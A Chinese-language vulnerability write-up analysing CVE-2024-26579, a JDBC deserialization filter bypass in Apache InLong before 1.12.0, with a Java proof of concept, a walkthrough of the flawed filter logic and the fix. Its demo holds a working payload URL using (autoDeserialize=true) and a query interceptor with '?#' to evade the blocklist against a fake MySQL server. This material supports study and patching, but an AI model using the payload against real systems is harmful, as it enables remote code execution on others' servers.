0%

Apache InLong < 1.12.0 JDBC反序列化漏洞分析(CVE-2024-26579)

漏洞描述

Apache InLong 是开源的高性能数据集成框架,用于业务构建基于流式的数据分析、建模和应用。

受影响版本中,由于 MySQLSensitiveUrlUtils 类只限制了?形式的JDBC连接字符串参数,攻击者可通过()规避?引入autoDeserialize、allowLoadLocalInfile等额外的参数。并通过#注释后续内容,绕过从而此前修复过滤逻辑,在连接攻击者可控的服务地址时,攻击者可利用该漏洞远程执行任意代码。

影响范围

org.apache.inlong:inlong-manager@[1.7.0, 1.12.0)

漏洞复现

添加依赖

1
2
3
4
5
<dependency>
<groupId>org.apache.inlong</groupId>
<artifactId>manager-common</artifactId>
<version>1.11.0</version>
</dependency>

demo代码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
package main.java.inlong;

import org.apache.inlong.manager.common.consts.InlongConstants;
import org.apache.inlong.manager.common.exceptions.BaseException;

import org.apache.commons.lang3.StringUtils;

import java.net.URLDecoder;
import java.sql.DriverManager;
import java.sql.SQLException;
import java.util.ArrayList;
import java.util.HashMap;
import java.util.HashSet;
import java.util.List;
import java.util.Map;
import java.util.Set;
public class test {
private static final Map<String, String> SENSITIVE_REPLACE_PARAM_MAP = new HashMap<String, String>() {

{
put("autoDeserialize", "false");
put("allowLoadLocalInfile", "false");
put("allowUrlInLocalInfile", "false");
}
};

private static final Set<String> SENSITIVE_REMOVE_PARAM_MAP = new HashSet<String>() {

{
add("allowLoadLocalInfileInPath");
}
};

public static String filterSensitive(String url) {
if (StringUtils.isBlank(url)) {
return url;
}

try {
String resultUrl = url;
while (resultUrl.contains(InlongConstants.PERCENT)) {
resultUrl = URLDecoder.decode(resultUrl, "UTF-8");
}
resultUrl = resultUrl.replaceAll(InlongConstants.REGEX_WHITESPACE, InlongConstants.EMPTY);

// 修复代码
// for (String key : SENSITIVE_REPLACE_PARAM_MAP.keySet()) {
// resultUrl = StringUtils.replaceIgnoreCase(resultUrl, key+InlongConstants.EQUAL +"true", InlongConstants.EMPTY);
// resultUrl = StringUtils.replaceIgnoreCase(resultUrl, key+InlongConstants.EQUAL +"yes", InlongConstants.EMPTY);
// }

if (resultUrl.contains(InlongConstants.QUESTION_MARK)) {
StringBuilder builder = new StringBuilder();
builder.append(StringUtils.substringBefore(resultUrl, InlongConstants.QUESTION_MARK));
builder.append(InlongConstants.QUESTION_MARK);

List<String> paramList = new ArrayList<>();
String queryString = StringUtils.substringAfter(resultUrl, InlongConstants.QUESTION_MARK);
if (queryString.contains("#")) {
queryString = StringUtils.substringBefore(queryString, "#");
}
for (String param : queryString.split(InlongConstants.AMPERSAND)) {
String key = StringUtils.substringBefore(param, InlongConstants.EQUAL);
String value = StringUtils.substringAfter(param, InlongConstants.EQUAL);

if (SENSITIVE_REMOVE_PARAM_MAP.contains(key) || SENSITIVE_REPLACE_PARAM_MAP.containsKey(key)) {
continue;
}

paramList.add(key + InlongConstants.EQUAL + value);
}
SENSITIVE_REPLACE_PARAM_MAP.forEach((key, value) -> paramList.add(key + InlongConstants.EQUAL + value));

String params = StringUtils.join(paramList, InlongConstants.AMPERSAND);
builder.append(params);
resultUrl = builder.toString();
}

return resultUrl;
} catch (Exception e) {
throw new BaseException(String.format("Failed to filter MySQL sensitive URL: %s, error: %s",
url, e.getMessage()));
}
}


public static void main(String[] args) throws ClassNotFoundException, SQLException {
String url="jdbc:mysql://address=(host=localhost)(port=3307) (queryInterceptors=com.mysql.cj.jdbc.interceptors.ServerStatusDiffInterceptor)(autoDeserialize=true)/test?#";
String jdbcURL= filterSensitive(url);
Class.forName("com.mysql.cj.jdbc.Driver");
DriverManager.getConnection(jdbcURL);
}
}

fake服务

image-20240618091042751

成功命令执行

image-20240618091308749

漏洞分析

之前版本的inlong是存在JDBC的漏洞的,我们看一下当前版本是怎么修复的

首先定义了一个SENSITIVE_REPLACE_PARAM_MAP变量,其中是待替换的参数键值

image-20240618093513527

然后是待删除的键

image-20240618093500920

然后我们来看一下主要的filterSensitive方法

首先判断url是否为空

image-20240618093714330

随后判断url中是否有%,如果有的话就对其进行url解码

image-20240618093803764

然后将空白字符替换为空

image-20240618093948503

如果url中存在?,则继续往下

image-20240618094115267

然后将问号之前的字符串添加到StingBuilder中,并在最后增加一个问号

image-20240618094419189

接着将?之后的字符串存储到queryString中

image-20240618094545501

如果queryString中存在#,那么就将queryString替换为#之前的字符串

image-20240618094611265

接着将queryString按&符号分割存储

image-20240618094758655

最后一部分

image-20240618095318319

大致功能就是:对key进行一个黑名单检验和替换,然后将其加入到paramList后添加到StringBuilder中

我们回过头去看看我们之前的payload,就是将?与#放在了一起,并且实际的查询参数中也没有?的存在,那么queryString其实就是空值,也就绕过了黑名单的检验,而mysql查询是支持(键=值)的格式的

漏洞修复

1
2
3
4
for (String key : SENSITIVE_REPLACE_PARAM_MAP.keySet()) {
resultUrl = StringUtils.replaceIgnoreCase(resultUrl, key+InlongConstants.EQUAL +"true", InlongConstants.EMPTY);
resultUrl = StringUtils.replaceIgnoreCase(resultUrl, key+InlongConstants.EQUAL +"yes", InlongConstants.EMPTY);
}

直接将黑名单中设置为true的键值对设置为空

在新版本的测试过程中,似乎发现了该版本不再支持(键=值)的查询方式